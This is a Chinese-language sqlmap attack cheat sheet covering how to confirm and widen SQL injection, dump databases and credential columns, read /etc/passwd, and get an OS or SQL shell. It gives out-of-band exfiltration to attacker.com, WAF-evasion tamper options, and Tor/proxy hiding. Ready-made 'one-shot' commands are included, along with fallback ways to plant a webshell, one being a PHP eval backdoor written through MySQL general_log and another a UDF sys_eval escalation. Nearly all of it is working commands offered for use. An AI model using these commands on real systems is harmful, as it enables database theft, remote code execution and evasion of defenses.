一、注入扩大
1. 确认注入点
sqlmap -u "http://target.com/page?id=1" --batch --current-user --is-dba
(https请求记得加--force-ssl)
2. 扩大危害
| 目标 |
命令 |
| 爆库 |
--dbs |
| 爆表 |
-D dbname --tables |
| 爆列 |
-D dbname -T tab --columns |
| 拖数据 |
-D dbname -T tab -C col1,col2 --dump --threads 10 |
| 读文件 |
--file-read="/etc/passwd" |
| 写文件 |
--file-write=shell.php --file-dest=/var/www/html/shell.php |
| 命令执行(--os-shell) |
--os-shell |
| 带外回显 |
--dns-domain=attacker.com |
| 交互式 SQL 终端 |
--sql-shell |
一键梭哈
python sqlmap.py -u "http://target.com/page?id=1"--dbs --dump-all --threads 10--tamper=space2comment,charencode--random-agent --delay=0.5 --batch
3. 已知信息 → 节省时间,精准注入
| 已知项 |
对应参数 |
示例、解释 |
| 数据库类型 |
--dbms=mysql / --dbms=mssql / --dbms=postgresql … |
直接跳过指纹阶段 |
| 注入技术 |
--technique=U (Union) / E (Error) / B (Boolean) / T (Time) / S (Stacked) |
组合:--technique=UET |
| 注入点 |
-p id 或 * 标记 |
-u "https://x.com?id=1*" -p id |
| POST 参数 |
-r req.txt --data="id=1" |
与 -p id 同用 |
| Cookie 注入 |
--cookie="uid=9*" |
星号或 -p uid |
| 跳过探测 |
--skip-waf --skip-heuristics --threads 10 |
省指纹、省 WAF 测试 |
| 指定库/表/列 |
-D targetdb -T users -C id,pass |
只拉目标数据 |
| payload 数量增多 |
--level 0-5 |
--level 5 把“能测的都测” |
| payload 风险增加 |
--risk 0-3 |
--risk 3 把“敢用的都用” |
一键梭哈
python sqlmap.py -u "https://vuln.com/page?id=1*"--dbms=mysql--technique=U-p id--skip-waf --skip-heuristics-D targetdb -T users -C id,pass --dump--threads 10 --batch
二、检测并绕过 WAF
1. WAF 检测
| 功能 |
命令 |
| 自动识别 WAF 类型 |
sqlmap -u "http://target.com?id=1" --identify-waf |
2. 绕过方式速览
| 绕过策略 |
命令 |
说明 |
| 编码绕过 |
--tamper=charencode,apostrophemask,percent |
URL/Unicode/十六进制编码混淆 |
| 空格绕过 |
--tamper=space2comment,space2plus |
用/**/或+代替空格 |
| 参数污染 |
--param-del="&" -u "http://target.com?id=1&id=2" |
同名参数多次提交 |
| 分块传输 |
--chunked |
绕过基于 Content-Length 的检测 |
| 延迟盲注 |
--time-sec=10 --technique=T |
延长时间避免触发阈值 |
| 伪流量混淆 |
--null-connection --invalid-bignum |
仅测长度/大整数绕过数字型WAF |
| 代理/匿名 |
--proxy=socks5://127.0.0.1:1080 --tor |
通过代理池或 Tor 隐藏真实来源 |
| 随机化请求 |
--random-agent --delay=0.5 |
随机 UA 与间隔,降低检测概率 |
一键梭哈
sqlmap -u "http://target.com?id=1"--identify-waf--level 5 --risk 3--tamper=charencode,space2comment,apostrophemask--chunked --random-agent --time-sec=10 --delay=1
三、sqlmap --os-shell 原理 & 替代方案速查
--os-shell 原理
1.写入两个 PHP 文件
- 第 1 个:
tmp****.php 负责 文件上传
- 第 2 个:
tmp****.php 负责 命令执行
sqlmap 通过 INTO OUTFILE/DUMPFILE 把这两个脚本写到 Web 目录,再访问它们实现交互 Shell。
2.数据库差异
| 数据库 |
实现方式 |
| MySQL |
INTO OUTFILE + UDF(sys_eval) |
| SQL Server |
启用 xp_cmdshell 存储过程 |
| PostgreSQL |
COPY 或 pg_largeobject |
3.前置条件(缺一不可)
- DBA 权限:
--is-dba 必须为 True
- 已知网站绝对路径
secure_file_priv=""(MySQL 允许任意目录写入)
- Web 目录具有写权限且 PHP
GPC=off(不自动转义单引号)
如果 --os-shell 失败
| 替代思路 |
命令/方法 |
适用场景 |
| UDF 提权 |
手动上传 udf.dll → CREATE FUNCTION sys_eval … → SELECT sys_eval('cmd') |
MySQL root 但无 Web 写权限 |
| 日志写 WebShell |
set global general_log=on; set global general_log_file='/var/www/html/shell.php'; SELECT '<?php eval($_POST[x]);?>'; |
无法 OUTFILE 但能修改日志路径 |
| --file-write |
sqlmap --file-write=shell.php --file-dest=/var/www/html/shell.php |
已知绝对路径且有写权限 |
| 后台拿 Shell |
--dump 爆管理账号 → 扫后台 → 登录后上传 Webshell |
SQL 注入无写权限但存在后台 |
| --sql-shell |
交互式 SQL 终端,手动构造 SELECT ... INTO OUTFILE |
需要精细控制写入内容 |